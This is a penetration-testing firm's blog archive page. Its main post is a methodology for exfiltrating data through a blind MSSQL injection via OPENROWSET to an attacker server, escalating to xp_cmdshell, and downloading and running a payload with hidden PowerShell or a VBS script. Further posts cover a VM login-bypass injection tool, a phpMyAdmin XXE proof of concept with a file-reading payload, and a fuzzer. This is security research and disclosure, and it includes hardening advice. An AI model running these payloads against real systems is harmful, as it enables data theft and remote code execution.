SECFORCE          
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
   
HOME SECFORCE - penetration testing COMPANY SECFORCE - penetration testing SERVICES SECFORCE - penetration testing RESEARCH SECFORCE - penetration testing BLOG SECFORCE - penetration testing NEWS & EVENTS SECFORCE - penetration testing INITIATIVES SECFORCE - penetration testing CONTACT
 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    SECFORCE - penetration testing

Blog ■

 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    Home : Blog  
SECFORCE - penetration testing SECFORCE - penetration testing
   
Archive for the ‘Security research’ Category
 

Stacked based MSSQL blind injection bypass methodology

Monday, January 7th, 2013

If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.

This post is part of a methodology used for obtaining *sight* from a stacked based blind SQL injection.

Requirements:

  1. Stacked based Blind SQL injection
  2. Local MSSQL database server (MSSQL server express was used in this example)
  3. Improper remote firewall configuration (allows outbound connections)
  4. #include <brain.h>

If all of the requirements above are met then the following technique can be used:

  • On the local server create a new database with a table to store the results:
    • CREATE DATABASE output_db;
    • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
    • Lastly, open the ports and change the config for remotely connecting to the database.
  • On the remote server test for OPENROWSET  and external connection:
    • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db..output) SELECT @@version’)–

This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors

Copying Databases:

  • After you create a new database make a copy of the local sysdatabases and empty it:
    • SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
    • DELETE master_copy..sysdatabases;
  • Copy the Remote sysobjects over to master_copy..sysdatabases;
    • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;–
  • For every returned name create a new database and list tables
    • CREATE DATABASE LOCAL_DB_NAME;
    • CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–
  • For every returned table create a new table for to hold the column data
    • CREATE TABLE LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=localhost;uid=sa;pwd=sa’,
      LOCAL_DB_NAME.dbo.columns) SELECT REMOTE_DB_NAME..syscolumns.name,
      TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
      REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
      REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
      REMOTE_DB_NAME..sysobjects.name=’sysobj’;
  • Now create a new table with the same columns and data types and copy using the same command as above
    • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..TABLE;) SELECT * FROM REMOTE_DB_NAME..TABLE;–
    • Or create a new table with only the columns you need and copy over only those

Advancing:

  • Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
    • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db..output)
      SELECT * FROM OPENROWSET(’SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
  • Command execution with output of the results (if the sa password is known)
  • ; INSERT INTO OPENROWSET(’SQLOLEDB’,’server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    output_db..output)
    SELECT * FROM OPENROWSET(’SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,
    ’set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
Advancing more:
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
  • A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
  • … or do it yourself. The following commands are for downloading a file from a web server, and running it.
    • (Powershell) [Convert]::ToBase64String([System.Text.Encoding]::
      Unicode.GetBytes(”(new-object System.Net.WebClient).
      DownloadFile(’http://REMOTE_SERVER/payload.exe‘,
      C:\DESTINATION_FOLDER\payload.exe‘)”))
  • This will generate an encoded command string that you can run on the remote server:
    • powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING
  • If this doesn’t work, you can echo and run the one-liner vbs script below:
    • echo Set objXMLHTTP=CreateObject(”MSXML2.XMLHTTP”):objXMLHTTP.open
      “GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
      If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(”ADODB.Stream”):
      objADOStream.Open:objADOStream.Type=1:
      objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:
      Set objFSO=Createobject(”Scripting.FileSystemObject”):
      Set objFSO = Nothing:
      objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”:
      objADOStream.Close:
      Set objADOStream=Nothing:
      Set objXMLHTTP=Nothing > C:\DESTINATION_FOLDER\script.vbs
  • Run the script:
    • cscript  C:\DESTINATION_FOLDER\script.vbs
  • Run the payload:
    • C:\DESTINATION_FOLDER\payload.exe

$ chmod -x attack //Protecting the web server (for the non pen-testers)

What went wrong - Recommendations:

First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.

For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.

Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.

Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.

If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.

Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.

VMInjector - DLL Injection tool to unlock guest VMs

Wednesday, November 14th, 2012

Overview:

VMInjector is a tool designed to bypass OS login authentication screens of major operating systems running on VMware Workstation/Player, by using direct memory manipulation.

Description:

VMInjector is a tool which manipulates the memory of VMware guests in order to bypass the operation system authentication screen.

VMware handles the resources allocated to guest operating systems, including RAM memory. VMInjector injects a DLL library into the VMWare process to gain access to the mapped resources. The DLL library works by parsing memory space owned by the VMware process and locating the memory-mapped RAM file, which corresponds to the guest’s RAM image. By manipulating the allocated RAM file and patching the function in charge of the authentication, an attacker gains unauthorised access to the underlying virtual host.

VMInjector can currently bypass locked Windows, Ubuntu and Mac OS X operation systems.

The in-memory patching is non-persistent, and rebooting the guest virtual machine will restore the normal password functionality.

Attacking Scenarios:

VMInjector can be used if the password of a virtual host is forgotten and requires reset.

Most usually, this tool can be used during penetration testing activities, when access to a VMWare host is achieved and the attacker is looking to gain additional access to the guests running in such host.

Requirements:

  • Windows machine (with administrative access);
  • VMware workstation or player edition;
  • A locked guest VM;

Usage:

VMInjector consists of 2 parts:

  • The DLL injection application (python script or provided converted executable)
  • DLL library (x86 and x64)

The tool supports both x86 and x64 bit architectures by providing both DLLs. One may use his own DLL injector to select the guest virtual machine running on the host.

In order to run the tool, execute the VMInjector (32 or 64) executable provided from the command line as shown in figure 1.

Figure 1: List of running guest machines running.

VMWare runs each guest in a different process. VMInjector needs to be pointed to the process running the guest which requires bypass. Once the user chooses a process, it will inject the DLL into the chosen target.

Once the DLL is injected, the user will need to specify the OS, so that the memory patching can be accomplished, as shown in Figure 2.

Figure 2: Searching for OS signature in memory and patching.

Tool and Source Code:

The tool executable and source code can be found on GitHub (https://github.com/batistam/VMInjector)

Disclaimer:

This tool is for legal purposes only. The code is released under GPLv3 license.

Thanks and references:

I would like to thank Michael Ligh for his valuable research on injecting shellcode into guest virtual machines back in 2006.

I would also like to thank Carsten Maartmann-Moe for is work on Inception, a tool which can unlock locked Windows, Ubuntu and OS X machines by using the IEEE 1394 FireWire trick. This was first showcased by the (now obsolete) winlockpwn tool.

Credits:

Tool coded by Marco Batista

Download:

Please download this tool from GitHub

CVE-2011-4107 PoC - phpMyAdmin Local File Inclusion via XXE injection

Thursday, January 12th, 2012

An interesting local file inclusion vulnerability has been recently published. An XXE (XML eXternal Entity) injection attack, which affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to 3.3.10.5. - CVE-2011-4107

The issue is located in the libraries\import\xml.php file, where the simplexml_load_string() function is called without validating the existence of a reference to an external entity on the file:

$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);

Patched versions make use of the libxml_disable_entity_loader() PHP function before loading the XML document, in order to prevent the injection. libxml_disable_entity_loader() function disables the ability to load external entities.

phpMyAdmin offers the functionality of importing a database from a user-specified XML file. In vulnerable versions importing a specially-crafted XML file which contains an external XML entity permits an authenticated attacker to retrieve a local file from the server or network (limited by the privileges of the user running the web server).

It is well understood that the LOAD_FILE MySQL function could be used to gain read access to files in the database file system, however there are configurations where phpMyAdmin is installed on a different host than the database and therefore exploitation of this issue could become handy in penetration testing engagements.

SECFORCE has developed a metasploit module to assist the exploitation of this vulnerability. It is available for download from our security tools section on our website.

This module automates the process of local file inclusion in the following way:

  1. Logging in into phpMyAdmin using provided credentials.
  2. Crafting an XML using XXE with the given file to read.
  3. Uploading the XML
  4. Retrieving the file from the server or network (restricted by the privileges of the user running the web server ).

The module has the options shown in the following screenshot:


An example of a successful run of the module is presented in the screenshot below:

Example of a successful file read
Example of successfully reading a file


Defining XML external entity (XXE) injection attack as part of XML injection vulnerability:

XML injection

XML Injection is when is is possible to change the values of an XML document and the XML parser fails to make an appropriate data validation this way making the injection possible.

XML external entity injection attack (XXE)

“External Entity: The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.” - (OWASP-DV-008)

XXE Example:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

phpMyAdmin has released patched versions available for download from here.

Proxyfuzz fuzzer RPM binary

Thursday, September 22nd, 2011

Proxyfuzz is now available in RPM format for Fedora users. Petr Sklenar has created and uploaded the RPM version, available for download here.

Source code and windows binaries can still be found in the security research section of our website.

Proxyfuzz is a protocol agnostic fuzzer which randomly fuzzes network traffic following a man-in-the-middle approach. The tool is designed to randomly inject a number of fuzzing signatures to the data that goes through it. It is incredibly easy to set up and can be used to research any TCP and UDP protocol.

 
   
 
BLOG

Archives

February 2013
January 2013
December 2012
November 2012
October 2012
January 2012
October 2011
September 2011
July 2011
June 2011
April 2011
February 2011
January 2011
March 2009
February 2009
January 2009
December 2008
November 2008
October 2008
Categories
Business Continuity (2)
CREST (1)
exploit (7)
Fuzzing (1)
Penetration Testing (32)
Phishing (3)
Risk Management (5)
SECFORCE (13)
Security architecture (1)
Security Books (1)
Security Compliance (1)
Security research (4)
social engineering (1)
social media (1)
sql injection (2)
SQL Server (2)
Tools (8)
Vulnerabilities (8)
 
SECFORCE - penetration testing
  SECFORCE - penetration testing Aegon House, 13 Lanark Square
Canary Wharf - E14 9QD, London
SECFORCE - penetration testing Direct Line +44 (0) 845 056 8694
E-mail SECFORCE - penetration testing
  Follow us in Twitter Check us out in LinkedIn SECFORCE is CREST certified. Click on the logo for more information ISO9001 ISO27001
SECFORCE - penetration testing
    Copyright (c) 2013 SECFORCE Ltd · All Rights Reserved